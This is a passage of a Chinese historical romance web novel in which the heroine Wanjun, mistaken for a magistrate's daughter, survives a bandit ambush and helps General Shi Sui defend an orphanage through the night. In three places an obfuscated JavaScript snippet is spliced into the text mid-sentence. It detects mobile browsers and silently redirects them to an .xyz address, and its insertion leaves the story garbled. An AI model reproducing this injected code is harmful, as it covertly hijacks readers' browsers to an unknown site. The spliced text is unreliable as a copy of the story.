畹君脑袋“嗡”地一声。 真是怕什么来什么，听这形容，八九不离十是时二爷亲自过来了。 畹君怕时璲撞见她要跟她算账，又不知道他们什么时候离开此地。万一拖到申时，王五的驴车走了，她可就回不了城了。 不如趁时璲还在跟杨妈交涉，她先赶紧离开这是非之地。 畹君匆匆对陈妈道：“我家里还有事，得先回去了。” 说着取下墙上挂的帷帽，仔细戴好了方走出屋门。 谁知造化弄人，她一踏进院子，便看到杨妈正与一个年轻男子在廊下说话。 那人身上一袭青绿暗纹曳撒，衬得身姿笔挺如松，可不正是她那冤家路窄的时二爷？ 畹君心虚地扶了一下帷帽，几乎是贴着院墙下的树荫往外走，只盼时璲不要注意到她。 快走到院门的时候，她忍不住加快脚步，忽然耳边骤然响起一道极尖锐的破空声。 她还没反应过来，帷帽前面的薄纱已经被整齐划断，轻飘飘地落到脚下。 一旁的木门上颤颤钉着枚锃亮的袖箭，在午后的日照下闪着冷锐的光。 畹君头皮一麻，不敢望向那袖箭发射的方向，却已感受到两道灼人的视线落在脸上，仿佛要将她洞穿。 4. 剑霜寒 杨妈正跟那位时大人说着话，忽然见他抬腕扬袖，紧接着便像有什么东西飞出去了。 她下意识顺着他抬手的方向望过去，只见畹君亭然立在院门处，虽戴着帷帽，可面前的青纱不知何时拂落，露着一张苍白惊惶的脸。 杨妈正摸不着头脑，时璲已经迈步往院门口走去，定定站在了畹君面前。 申时的日光已有些西斜，畹君低着头，面前却落下了一大片阴影。在这盛夏伏天里，她竟感到了一丝苍冷。 她低垂着眼眸，正好瞥见他腰间的犀角玉带蹀躞，不可避免地想到那枚沉甸可爱的金锞子。 被他捉个正着，要打要骂她都认了。 可时二爷若要她还钱，她上哪再去弄一个金锞子回来？就算把她的私库掏空也赔不起啊！ 畹君心里一酸，难免在面上带出了几分泫然。 时璲正冷睨着她，还未开口问责，便见她一副委屈的模样，仿佛受了多大欺凌似的。 他心中怒火更甚，咬牙道：“谁让你跟过来的？” 畹君一愣，下意识道：“什么跟过来？” 时璲冷笑，居高临下地睥睨着她：“那日你在水榭后面偷听到我要出来剿匪，必是千方百计地摸到这里来，好跟我‘偶遇’吧？” 甚至怕他认不出来，还特意穿了寿宴那日的衣裳。他嫌恶地扫了一眼她身上的银紫罗衫，“这次回去，又准备编排什么风花雪月的谣言？” 畹君这才反应过来，时璲还当她是那位谢四小姐呢！虽被误会她是有心偶遇，可总好过让她还钱。 她悬着的心骤然落地，从容道：“时二爷误会了，我并不是跟着你过来的。” 说罢，不欲与他过多纠缠，迈步绕开他往门口走。 时璲没动，却忽然伸出一只手挡在畹君面前。他的指尖不知何时拈了枚甲盖大的珍珠，在日头下流光莹润，熠熠生辉。 畹君一眼认出那是她丢失的那枚珍珠，心中一喜，伸手要去拿。 他却一转手腕，令畹君抓了个空。 她眼睁睁看着那流光溢彩的珠子跌到青石地板上。一只玄色云纹皮靴踏了上去，足尖一碾，似是有什么细碎的声音在她心头裂开了。 那颗支配了她半个月喜悲的珍珠，如今四分五裂地融进了地上的青苔里，碎末的光华像针芒一样刺痛了她的眼。 畹君气得浑身发抖，失声道：“你干什么！你凭什么毁掉我的东西？” 时璲漠然道：“在我这里事不过双。第一回的香囊还给你了，你还要故技重施，那就别怪我不留情面。” 畹君怄得要命，没好气道：“我不是故意把珠子落到你面前的，也没有偷听你说话！水榭那次是我回头去寻珠子，怕你多想才躲起来的。我来慈育堂也不是为了偶遇你！” 时璲唇角勾起一抹嘲讽的笑：“那你大老远来这里做慈善？” 畹君一噎，顿时偃旗息鼓，生怕把身份说破了时璲要她还钱。 偏这时杨妈凑了上来，急急忙忙解释道：“时大人，这是谢姑娘，每个月的望日过来给孩子们开义塾的。” 畹君忙拉住杨妈道：“妈妈别说了。” 时璲见那管事妈妈口口声声，似与畹君极熟稔，心中却颇不以为然，自顾冷笑道：“你们谢家倒是惯会搅弄舆论，邀买名声，我算是见识到了！” 畹君知道他对谢四姑娘印象极差，只想赶紧离开这个是非之地，当下也不搭茬，只低着头要往门口出去。 “站住。”时璲又道，“干什么去？” “回家去，不碍您时二爷的眼，行么？” 时璲冷着脸看她：“你出来带了几个护卫？” 畹君真烦他多管闲事！ 她别过脸避开他的视线，低声道：“我自己出来的，没带护卫。” “胡闹！”他一声断喝，倒把她吓了一跳。 她回过眼神去望他，只见时璲面沉如水，朝身后的官兵喊了一声：“李清、周茂！” 两个穿绯红戎装的兵士小跑过来。 他下巴一抬，吩咐道：“你们两个护送谢姑娘回文昌巷谢府。” 畹君一个头两个大，把她送回谢知府家怎生得了？ 她故意出言相激：“时二爷不是很讨厌我么？你亲自派人护送我归家，岂不是更坐实了市井上飞短流长。” 时璲闻言拧起长眉，连眼神都不愿再给她，却仍不为所动，沉声道：“这里不是你们谢家的后花园，那群匪徒穷凶极恶，见人就杀，可不管你什么身份。没带护卫就敢出来，那是找死！” 畹君听他说得可怕，心中不免生惧。又见时璲神色严肃，知道这护卫无论如何是推脱不得的了。 只是总不能叫这两人跟她坐王五的驴车回去吧？ 她只好借故折回屋里，央了陈妈借慈育堂的马车送她回去。 畹君平时待人周到热情，还经常送些卖不出去的绣品给慈育堂。她既开口，陈妈自然没有不应的道理，当下便让车夫套起马车送她回去。 那两个兵卫骑着马，一左一右地跟在马车两边护送她回城。 畹君在车厢里捧着那顶帷帽细看，心中隐隐地抽疼。面纱被划断了，重新补上费工夫不说，还要花几十文钱去买纱。 再一想到那颗珍珠，她更是气得想吐血。 那么大一颗珍珠，市价至少值五两银子，够给佩兰拣两个月的药了，怎么偏偏让时璲拾了去，还毫不留情地踩成了齑粉！ 畹君心里恨恨骂了他一回，又掀开车窗的纱帘，朝外头的兵卫道：“官爷，城外不安宁，二位送我进城便回去复命吧，以免阻碍了你们的公务。” 那兵士骑在马上，目不斜视道：“时大人吩咐了要将姑娘送到文昌巷谢府，这就是我们的公务。” 怎么时璲的手下脾气跟他一样又臭又硬？ 畹君深吸了一口气，还欲游说，忽然另一边的兵士道：“停车。” 马车依言停下。 那人又道：“周茂你过来看看。” 她这头的兵士便下了马走过去。 畹君一时好奇，掀开一半纱帘往外瞧。 此处是个不甚繁密的小树林，路边有条浅沟，沟里翻着一辆板车，上面横七竖八地躺着几个人，衣裳上洇着深红的印渍。 那两个兵士走过去，拿剑鞘在横躺的人堆里拨拉着，一面分析道：“身上的财物全被拿走了，都是一刀毙命，看来是遇上流窜的匪徒了。” 车厢里的畹君看清那沟中尸首的脸，险些惊叫出声。 那不是王五的驴车吗？ 他们这是遭了劫匪？ 畹君惊得头皮发麻，手脚生凉，看着外头那横陈的尸首，切身感受到了匪徒的穷凶极恶。 算算时辰，倘若没被时璲打岔，她就已经坐上了王五的车，现在躺在那里的人就是她了！ 她心头正后怕着，忽然车厢外的车夫仰面栽进来，磕出“咚”地一声闷响，把畹君吓了一跳。 她定睛望去，见那车夫还睁着眼，胸口处却插着一支羽箭，鲜血不停地喷涌出来。 她吓得魂飞魄散，顿时惊声尖叫起来。 “不好，有埋伏！” 那两个兵士反应过来，忙撤身回护。 那叫周茂的兵士把车夫的尸首拖了出去，对畹君道：“谢姑娘，你在车厢里躲好，不要出来。” 她一颗心剧烈地跳着，整个人缩到角落里。 外头已经响起兵戈相接之声，皮肉绽开的闷响、怒吼声、惨叫声不绝于耳。 畹君紧紧闭着眼睛，不敢想象外头是怎样的地狱景象。 本以为今天遇上时璲已经够倒霉的了，没想到真正的劫数在这里等她。 那两个兵卫能抵挡那些匪徒吗？她该不会要命丧于此吧？母亲和妹妹还在等她回家呢！ 忽然外头马儿嘶鸣了一声，车厢随之一震，紧接着有人窜进车厢将她扯了下去。刚一落地，那马就拉着车狂奔了出去。 畹君惊惶地张开眼，见是那个名叫周茂的兵士，他浑身浸透了血，也不知是他的还是匪徒的。 “马惊了，车厢待不了，姑娘快去寻棵树躲着。” 周茂话音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668339|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未落，忽然将她往边上重重一推。 畹君摔得头昏眼花，回过神时看到周茂已替她挡下了一刀，刀刃直直地贯穿了他的后心。 那行凶的匪徒已被另一个兵士斩于刀下。 那叫李清的兵士紧锁着眉查看了周茂的伤势，就算没有后心那一刀，他也已失血过多，显然已经无力回天了。 李清沉痛地叹了口气，又看向畹君：“谢姑娘没事吧？” 畹君呆滞地摇摇头。 那林子里躺着五六个穿黑衣的匪徒尸首，土壤吸饱了血，泛着稠润的红光。 李清转身，拖着个奄奄一息的匪徒过来。 那匪徒手脚扭曲成诡异的角度，口中不断地哀嚎道：“我说，我都说，只求说完了官爷给我个痛快！” 李清不语，只是用剑鞘狠狠击向他的伤腿。 那人立时惨叫出声，急急道：“我们一百多个兄弟流窜到这里，没个瓦片遮头，当家的打算今夜去占了清溪村北坡的慈育堂做营寨，派我们去打先锋，没想到路上就遇到了你们……” 李清不等他说完，干脆利落地抽刀抹了那人的脖子，鲜血瞬间迸射出去。 畹君猝不及防见到这血腥一幕，心跳差点停摆。她平时连云娘杀鸡都不敢看，若非有求生意念支撑着，只怕要两眼一翻晕过去了。 李清走到她面前，凝眉道：“谢姑娘，你听到了，那些匪徒今夜要攻袭慈育堂，我得回去跟时大人报信，咱们得回一趟慈育堂。” 畹君心中暗忖：慈育堂已经被盯上了，那些匪徒人多势众，时璲只带了不到十个官兵，根本无从抵挡，肯定会选择弃车保帅，带着他的人撤离。可这样一来，慈育堂的几十名妇孺就要惨遭屠戮了。 她牙齿还在打着颤，却一把拉住李清，摇摇头道：“不成。从这里回到慈育堂要大半个时辰，等你回去报完信，天也快黑了。到时匪徒围上来，敌众我寡，势必伤亡惨重。” “那怎么办？”李清拧起眉心。 畹君盯着他的眼睛，一字一句道：“你现在立刻回城请援军。” “可时大人他们怎么办？”李清迟疑了。 畹君心一横，道：“我回去报信。” “你？”李清吃了一惊，上下打量着她。 她的眼眶鼻尖还红红的一片，凌乱低垂的发丝更添几许弱质纤纤之感，实在难以相信她能一个人回去报信。 畹君有自己的思量。 那李清也受了伤，就算跟他同行，路上再遇到匪徒也只有个“死”字。倒不如兵分两路，给慈育堂几十条人命争取更多的生机。 “事急从权，要快。” 畹君一面说道，撑着发软的双腿站起来，走到马儿旁边。她只骑过驴，不会骑马，只能用求助的目光看向李清。 李清会意，托着她上了马，告诉她要如何夹紧马腹、抓紧辔绳：“这马自己能认路，你只管坐好，别跌下去就行。” 畹君几乎是趴伏在马背上，自觉还没坐稳，李清已经抽出一柄匕首插在马臀上。 那马儿吃痛，利箭一般飞驰出去。 畹君心跳狂飙，忙死死牵紧辔绳，风刮擦着发丝打在脸上，如丝弦扫勒般地生疼。 快点，再快点。她心中默念。 斜阳一点点地沉坠下去，到清溪村口时，正好见到那轮金乌卡在桑树的枝桠间。 畹君心头一松，到了村里，至少目前是安全了。 可她紧接着意识到另一个要命的问题：她不会驭马，不知道如何勒停它。 那马儿还在急驰，不知疲倦般地冲上北坡，眼见要撞上慈育堂的大门—— 畹君吓得闭上了眼睛。 “咚”的一声重击闷响，她腰间一紧，像被人扯了下去。 一阵天旋地转过后，想象中的疼痛并没有出现，她落进一个宽阔而温暖的怀抱里。 畹君好不容易凝神，看到一张近在咫尺的俊脸，长而挑的眼睛里映着她狼狈的形容，还有掩不住的惊讶。 “时……”畹君只来得及说了半个字，便眼前一黑晕在了他怀里。 5. 暮霭沉 畹君醒转时已经躺在了厢房的床上。 陈妈和杨妈都候在床边，见她醒转，异口同声地问道：“谢姑娘，发生什么事了？” 畹君猛然回过神，忙道：“时二爷呢？” 床边有人轻咳一声。 她这才看到时璲就坐在床头的杌子上。 畹君如见救星，激动地抓住他的袖子。 时璲不着痕迹地抽走袖子，凝眉问道：“周茂和李清呢？” 回忆起路上的事，畹君仍是心有余悸，颤抖着声音道出了林子里的遭遇。 陈妈和杨妈闻言大惊失色，吓得嘴唇煞白：一百多号亡命天涯的匪徒夜袭慈育堂，她们焉有活路？ 畹君见时璲浓眉紧锁，神色凝重，便知此事对他而言也很棘手。 她生怕时璲拍马走人，弃慈育堂于不顾，忙又扯住他的袖子道：“时二爷，你的人已经回城请援兵了，最多一个时辰便能回援，慈育堂可以守的。” 时璲忍无可忍地抽走被她拽着的衣袖。 为避免她再动手动脚，他干脆站起身来，漫步踱到窗台边上。 望着窗外余曛渐逝的天色，时璲语气沉肃地说道：“你想得太简单了。李清无官无衔，单凭他一面之词，便是能调兵也得费一番周折，亥时之前援兵到不了。” 畹君闻言“噌”地从床上坐了起来，几步走到他身后去：“可是慈育堂六十多口人，又都是手无寸铁的妇孺，你难道就放任她们惨遭屠戮？” 时璲回头瞥了她一眼，不悦之色简直要溢于言表：“我说不管慈育堂了？” 丢下这么一句话，他又转过头去沉吟着布防的事。 畹君顺着他的目光看向苍蓝的天色，心里急得不行。 她觉得时璲这句算不得准话，万一到时他看情形不对，率兵突围溜之大吉了呢？ 她还是喜欢把主动权掌控在手里。 畹君催陈妈去拿来慈育堂的平面图纸。 慈育堂坐北朝南，傍山而建，易守难攻。恐怕这就是官府和匪徒都看上这块地盘的缘故。 他们唯一的生机，也只有守住慈育堂，等到援兵赶来。 畹君坐在桌边，一面看地图，一面偷觑时璲，见他仍旧一动不动地立在窗台边，淡蓝的暮色蒙在那英挺的侧脸上，有一点寂然的沉重。 “嗳。”她鼓起勇气开口，“你带了多少人？” 时璲没回头，只是侧眸用余光乜她，见她手里拿着一张黄麻纸画的地图，一脸正色地看着他。 他也许觉得新奇，竟朝她笑了笑：“怎么，你还能给我出谋划策不成？” 畹君道：“你是大将军，我哪敢班门弄斧。可是我比你了解慈育堂，你怎么就知道一定用不上我？” 时璲没说话，走到畹君身后，就着她的手看那张地图。 畹君骤然感到身后多了一道温热气息，鼻尖似有若无地萦绕着幽淡的皂角香，这使她感到非常不习惯，连拿着地图的手都有些无处安放起来。 时璲目光沉沉地盯着她手里的地图，余光却瞥见她颊侧溅着几滴腥红血点，难道她半点没察觉么？ 他是上过沙场的，对血污向来视若无物，只是那艳红在她瓷玉般的脸上分外扎眼，令人难以忽略。 时璲取出一方帕子沾了茶水，抬手扔到她面前的桌上。 畹君莫名其妙地抬头望着他。 “脸上的脏东西擦一擦。”他有些不耐烦。 畹君不明所以地拿了湿帕子往脸上抹去，拿下来时看到帕子上洇开的淡粉，猝然想起林子里那鲜血飞溅的情景，忍不住打了个冷颤。 时璲顺手拿过那张地图，修长的手指在图上点了两下：“今夜你和管事带着那些孩子待在这两间屋里，锁好门窗不要出来。” 畹君立刻仰头看他：“你打算怎么办？” 时璲原本不准备向她交代，却思及她方才经历了那般惨烈的事，还能支撑着回来报信，不由动了恻隐之心，便言简意赅道：“我现在手下有八个人，两人守后门，两人守东角门，余下四人跟我守大门。” “守不住的！”畹君急道，“他们有一百多人。” 时璲对她的质疑显见是很不满：“守不守得住我心里有数。” “就算守住了也是死伤惨重。” “朝廷不会短了他们的恤银。” 屋里昏暝暗淡，他的双目却沉而幽亮，令她没来由地想起那枚泛着凌厉冷光的袖箭。 金陵城富足安宁，畹君从没处过这样生死一线的境地，竟从他那句话里品出了几分风萧萧兮的壮烈。 畹君想起为救她挨了一刀的周茂，心里不住地发涩。 好半晌，她才找回自己的声音：“那天我回去找珠子的时候，戏台上正在唱《空城计》，武侯不费一兵一卒吓退了十五万兵马。我们……” “不行，太冒险了。”时璲摇了摇头打断她，“八个人根本唱不起这出戏。” “谁说只有八个人？” 畹君丢下一句话，一溜烟跑了出去。 时璲皱着眉看她的背影消失在暮色里。 这个女人的一举一动都出人意料，若非看在她回来报信的份上，他倒懒得费事跟她说那么多话。 时璲把他手下的八个官兵叫进屋来，细细给他们安排布防。 忽然外头传来一阵此起彼伏的马鸣，伴有衣甲兵刃摩挲的碎响，似是院里熙熙攘攘地挤着人马。 夏日昼长，此刻天还未完全黑下去，难道那些匪徒已经迫不及待地出动了？ 时璲脸色一变，箭步冲到屋外。 却见是几个小孩子蹲在地上鼓腮作响，另有几个大点的孩子手上拿着蓑衣、铁犁、木锤等各种具物，嘈嘈杂杂地凑出来的动静。 畹君正站在院子的枣树下，见到时璲出来，便抬手往下一压，那乱中有序的声响立刻停了下来。 她遥遥地看过来，一对秀弯的眸像狐狸眼，闪着狡黠又自得的微光，纤妍的身形裹在暮蓝的夜色里，像隔着层薄纱般朦胧又陌生。 时璲撑不住笑了一下，朝她招招手。 畹君行将过来，不无自得地看着院里的孩子们，朝他笑道：“怎么样？连你也被骗过去了吧？” 数次相见多是横眉冷对，少见她这样舒怀的笑容。弯眉月眼，唇角漾出两个浅淡的梨涡，无端地在他心里点起一痕涟漪。 时璲眉心一跳，别过头去看院里的孩子们。 他没料到这些孩子还有这手本事。 夜幕里声音会传出更远，那伙匪徒听到势必不敢轻举妄动，多拖一刻，胜算便多一分。只要拖到援军赶来就万事大吉了。 时璲沉吟道：“可以让他们出来，但是一切要听我的安排。” 畹君一口应下，转头却又自顾安排几个大孩子去守后门和角门。 站在一群孩子中间，她仿佛是久经沙场的将军，有条不紊地指挥她的士兵。更难得的是，这些半大孩子竟也都对她的话令行禁止。 难道真如那管事所说，她真在给这些孩子开义塾？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668340|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察觉到时璲正凝眸看着她，畹君解释了一句：“后门和角门外坡高路陡，让这些孩子看着就行了，二爷的人还是留在前头支应的好。” 许是将性命相托的缘故，她对时璲多了几分依赖信任，不知不觉间把他的姓也省去了。 时璲没说话，也没反驳她的安排，只是命人搬了两架重弩出来。 原本那两架弩机只是带出来预备着，没想到今日直接派上了用场。 两架重弩一左一右，架在了院门口对进去的堂屋里。幽深的弩机口架在窗台，正对着院门，由时璲和一个将士各执一弩。 几个会口技的小孩躲在马厩的干草后面，假装满棚的战马鸣声；其他的小孩拿着各式器具摩擦作响，营造出人满为患的假象。 而时璲的兵卫隐在院门后面，时刻预备给侵入者迎头痛击。 一切布置妥当，天色尽黑了下去。 畹君觉得待在时璲身边是最安全的。哪怕最后守不住了，看在她“谢家”女儿的身份，他应该不至于抛下她不管吧？ 因此她冒着被误会死皮赖脸的风险，一声不吭地跟他进了堂屋里。 今天是十五，澄明的圆月高悬，如水般的月色倾泻在庭院中，这本该是个静谧而清莹的夏夜。 堂屋地势高，可以远眺到坡下的情景。院子里鼓噪着孩子们弄出来的动静，远处却寂静无声，黑阗阗的，反而愈发令人不安。 畹君坐在桌边双手支颐，借着一抹月光端详在窗台前摆弄弩机的时璲。 他半垂着眼，睫毛投下一片柔和的阴翳，更衬托出鼻梁和下颚线条的锋直冷峻。 关于这位时二爷，她知道得不多，都是从郑姨妈那里听来的碎片—— 宣平侯府以功勋封爵，老侯爷曾经出征辽东立下赫赫战功，现今的宣平侯却没继承其父的骁勇，只荫补了个文职。 好在第三代出了个时璲，十四岁时进了老宣平侯旧部的军营，在塞北五年功勋卓著，颇得圣上赏识。 据说是宣平侯以成家为由，奏请圣上将他调回金陵。待他娶亲成家以后，朝廷还要将他调走另行重用。 这样年少得志，也难怪谢四姑娘费尽心思要嫁给他，甚至不惜赔上名声捏造他的谣言。可惜她的算盘恐怕要落空了，这位时二公子似乎很讨厌别人算计他。 似是察觉到畹君的目光，时璲回眸瞥了她一眼。 畹君做贼心虚似的别开眼。 为了缓解尴尬，她没话找话：“他们怎么还不来？” 怎么她倒像盼着匪徒来似的？ 时璲眉头一皱，不接她的话，仍旧专注地观察着外面的情形。 畹君见他不答，便起身走到他身旁往窗外瞧。 夜风将远处林叶的细琐碎响遥遥送过来，黑魆魆的林间隐见数点火光。 畹君吓了一跳，不由自主地靠得他近了些：“那是匪徒的火把吗？” 微风将她的发丝轻拂到时璲脸上，像鹅毛拂面般若有若无地发痒。 他不动声色地别开脸，她还在小声问道：“你不害怕吗？” 时璲沉声道：“安静点。” 话音落下，他已扣动机弦，一枚弩箭破空而出，没入皮肉的“噗嗤”一声洇进风里，门口多了一道倒下的黑影。 畹君这才发现已经有人攻上来了，顿时吓得脸色煞白。 时璲往机括里填上一枚弩箭，难得对她说了句温柔话：“害怕的话，就回桌边坐着。” 畹君摇摇头，心有余悸地想起他射向她的那枚袖箭。 6. 无限意 此时北坡下的树林已聚集了七十多名匪徒。 慈育堂这块地头他们已经踩点了几天，知道里面不过几十个妇孺。按照原本的计划，占领此地派三十人出动便绰绰有余。 没想到第一批先锋在前面林子被尽数诛灭，一旁还有个官兵的尸体，他们才知道今天有官兵去了慈育堂。 那大当家果断多喊了一倍人过来，孰料行至坡下，见那慈育堂竟灯也不点一盏，大门虚掩着也未关实。 三当家神色一喜，道：“必是那伙官兵知道不敌咱们，脚底抹油溜走了。弟兄们一鼓作气攻上去！” “慢着！” 那伙匪徒当中有个足智多谋的军师，人称神算子。 他当即伸手拦住三当家，道：“先前在姑苏清咱们寨子的那个姓时的，他也回了金陵，此人作风强硬狠辣，绝不可能避走。我瞧这慈育堂风平浪静，倒像是故意引我们进去。你们听。” 众匪凝神细听，只见风声里隐隐带着马鸣、兵甲、脚步等细碎声响，这动静听上去人数还不少。 那大当家佩服道：“多亏老二神机妙算，否则兄弟们还成了瓮中的鳖！” 三当家不以为然：“他们要是真有人，怎么会把同僚的尸首留在树林里？咱们七十几个人怕他个鸟，干就完了！” 那些土匪多是逞勇好斗之徒，闻言群情激昂，纷纷请命上阵。 大当家断喝一声道：“都闭嘴！有没有诈试过方知！” 他点了两个急先锋，命其悄悄摸上坡去。 那两人领命而去，却如游鱼入海，再无声迹。 大当家心头直犯嘀咕，又点了四名勇将探路，仍旧无一人复归。 临阵最忌打退堂鼓，今夜这慈育堂是非攻下不可。否则军心既散，再凝起来就不容易了。 大当家当机立断，派人回去将余下的六十多个兄弟一并叫过来。一百四十多人一齐出动，他不信攻不下一个慈育堂。 慈育堂那头，畹君见打退两拨匪徒后便再无动静，不由喜道：“他们是不是被吓退了？” 时璲神色凝肃，望了一眼月亮的方位，对畹君道：“刚才那只是开胃菜，等会儿少不了一场血战。你若是害怕，趁现在回管事的屋里跟她们一起待着。” 畹君脸色一白，下意识道：“我不，我要跟在你身边。” 暗沉的夜色里看不清她的形容，却有种分外袅淡的楚楚可怜，令他紧绷的心神莫名开了个小差：原来也不尽然所有的死缠烂打都是令人讨厌的。 月上中天，坡下的火光却渐盛，嘈杂的人声被夜风翻卷上来。 时璲凝起眉心，知道坡下的匪徒已齐聚一堂，准备向慈育堂发起强攻了。遂命孩子们都躲回屋里闩上门闩，又让人在大门口的地面倒上火油，摆上数个火折子。 办完这些，门外已响起了土匪们的冲喝声。 时璲立在堂屋门口弯弓搭箭，眼神冷毅地注视着紧闭的大门。 伴着大门破裂的声音，他手中鸣镝一响，三箭齐发，飞射向地上的火折子。 火光瞬间燃起，舔舐到地上的火油，迅速冒起冲天红光，将头一批冲进来的匪徒烧成了火人。 埋伏在两侧的兵士齐上，杀退了这批匪徒。 奈何匪目众多，源源不断地闯进来，院里火光冲天，官匪厮杀在一处。 时璲操纵着重弩射杀匪徒，百发百中，箭箭穿喉。 还余最后一支弩箭的时候，时璲将它交到畹君手里，嘱咐道：“你拿着防身，躲进橱柜里不要出来。” 畹君颤抖着手接过弩箭，时璲一转身，她又忙拽住他的袖子：“你去哪？” 时璲回眸，幽暗的屋里唯有她那对双眸荧亮，里头却盛着惶惧的微光。他什么也没说，拂开她的手，抽出长剑走了出去。 畹君望着他的背影出了屋子，忙冲上去闩紧堂屋的门。要躲进橱柜的时候，她忍不住朝窗外望了一眼。 时璲一身青绿曳撒在一众黑衣匪徒当中分外惹眼，他手持双剑，身形飘逸，动作利落，眨眼间将两人斩于剑下。 畹君却忽然注意到远处一个豹头环眼的大汉，正提刀朝着时璲奔袭而来。 时璲此时正跟数人缠斗，那大汉奔至他身后，趁其被左右围攻之际一刀向他砍去。时璲遽然猱身相避，却还是被划伤了左臂。 那大汉又举刀劈向他后心，时璲被左右夹击，避无可避。眼见大刀即将劈下，忽然一道弩箭破空而来，斜穿过了那人的咽喉。 时璲趁势抓过那人横在身前为盾，挡下好几回攻势。 待他寻空往弩机那边一瞥，却见窗台上黑洞洞的，什么人也没有。 畹君已经被机弦反弹的力道震得手腕发麻，一屁股坐在了地上。 她缓了好一会儿才扶着桌腿站起来。 防身的弩箭已经没有了。畹君手忙脚乱地躲进橱柜，将外面的厮杀隔绝在黑暗之外。 过了不知多久，又听得外头马蹄震响，人声喧沸，显见是又有许多人涌进了慈育堂。 她一颗心往下坠了又坠——这些匪徒怎么没完没了？难道她今儿是真的要交代在这里了？ 在这生死攸关的时刻，畹君满心想着家里的母亲和妹妹。 这两年母亲的眼睛越来越不好，佩兰年纪又小，养家的重担逐渐落到她肩上。要是她真的遭遇了不测，母亲和妹妹该怎么办？ 她有点后悔先前跟母亲赌气，存私房钱的事也没跟母亲说。她的私房钱拿匣子装着放在屋梁角，一般人谁想得到那个地方？ 十几两银子虽说不多，也是她这两年一文一文存下来的。倘若她今天真有个三长两短，那点银子好歹能松松母亲肩上的担子，应付着给佩兰抓大半年药。 可是她们以后该怎么办呢，没有了她，母亲年纪越来越大，佩兰又生着病，不管谁走在前面，都是对另一方的沉重打击…… 畹君胡思乱想着身后事，不由悲从中来，捂着嘴低声呜咽起来。 橱柜门猝不及防被人打开，喊叫声与火光涌进来，将她与外面那个厮杀的世界重新连接起来。 畹君惊恐地睁大眼睛，泪光模糊了她的视线，只依稀看到一个高大的人影靠近，抬手，拭去了她眼角的泪花。 他的脸濛在淡薄的水光之外，虚影朦胧中尚可辩认那清凛刚毅的线条。 “别怕。是城里的援兵到了，现在安全了。” 是时璲的声音，语气很轻，却足有千斤重般打在她心里。畹君心中紧绷的弦骤然一松，终于忍不住将脸埋进双膝之间哭出声来。 天蒙蒙亮的时候，院子里的战况已落下帷幕。 那群匪徒倾巢出动，正好让官兵一网打尽。除了个别逃窜到了山上，余下尽数伏法。 时璲清点手下的官兵，三人重伤，九人轻伤，无人阵亡。前半夜不到十人对峙上百匪徒，这样的结果堪称奇迹。 他命人安置了伤兵，并将匪徒悉数押回城里。 天边泛起淡远的鸭蛋青色，收拾过的院子里还残存着火烧过的黑灰，空气中混杂着血与硝烟的气味。 时璲轻吐了一口气，折身走进堂屋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668341|173029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 畹君正伏在桌子上睡着，臂弯与青丝之间露着半张脸，雪面、鸦鬓、黛眉、丹唇。 极简单又极丰艳的颜色，在刚从冷酷厮杀中抽身的时璲心里撞出一抹柔软的温情来。 他立在桌边凝视着那半张恬静睡颜。 因为昨夜哭过的原因，她的眼皮微微红肿，浓长的睫毛湿润地连在一起。眼尾处不知何时沾上了血滴，极细小鲜红的一点，像根针在他心里轻轻扎了一下。 时璲用指尖在上面轻轻一抹，没有抹掉。他手上加了点力气，非但没能将血迹拭去，反而惊醒了睡梦中的畹君。 她一边脸被压得红扑扑的，像晚春暮雨后的海棠，带点空蒙又迷离的娇憨，一双潋滟的水杏眼茫然地望向他。 时璲收回了手，有些不自在道：“你脸上有一点血滴。” 畹君伸手抚过眼尾，肌肤上还残留着他指尖拂拭过的余温。 她讪讪道：“那是我的痣。” “唔……”时璲尴尬地别过脸，正好瞟见窗台上架着的重弩。“你怎么会用弩机？” 畹君刚睡醒，脑袋还有些昏沉沉的，心不在焉道：“我昨晚看你用好多次了。” 弩机的操作并不复杂，难得的是她有那份准头。时璲又道：“那支弩箭我给你防身的，你怎么拿去给我用了？” 畹君抬眸望去，正对上他微挑的长眼睛。 他正注视着她，熹微晨光里，那锋棱的五官竟显得有些温柔。 他左臂的袖子划开一道口子，露出里面缠着的白布，隐隐地洇着血色。 畹君的思绪一下子被拉回昨夜那场惊心动魄的厮杀中去。 她其实是怕他死。他死了那些官兵一定不会管她的。 或许还是托了“谢四小姐”这个身份的福，倘若没有这身高贵的假皮，她跟慈育堂其他人没什么两样，自然也得不到时璲的优待——尽管他还挺讨厌那位谢四姑娘的。 畹君忽然觉得索然无味，从梅花凳上站起身道：“我该回去了。” “你等一等。”时璲道，“待安排好这里的事，我护送你回去，顺便跟令尊解释昨夜的事。” 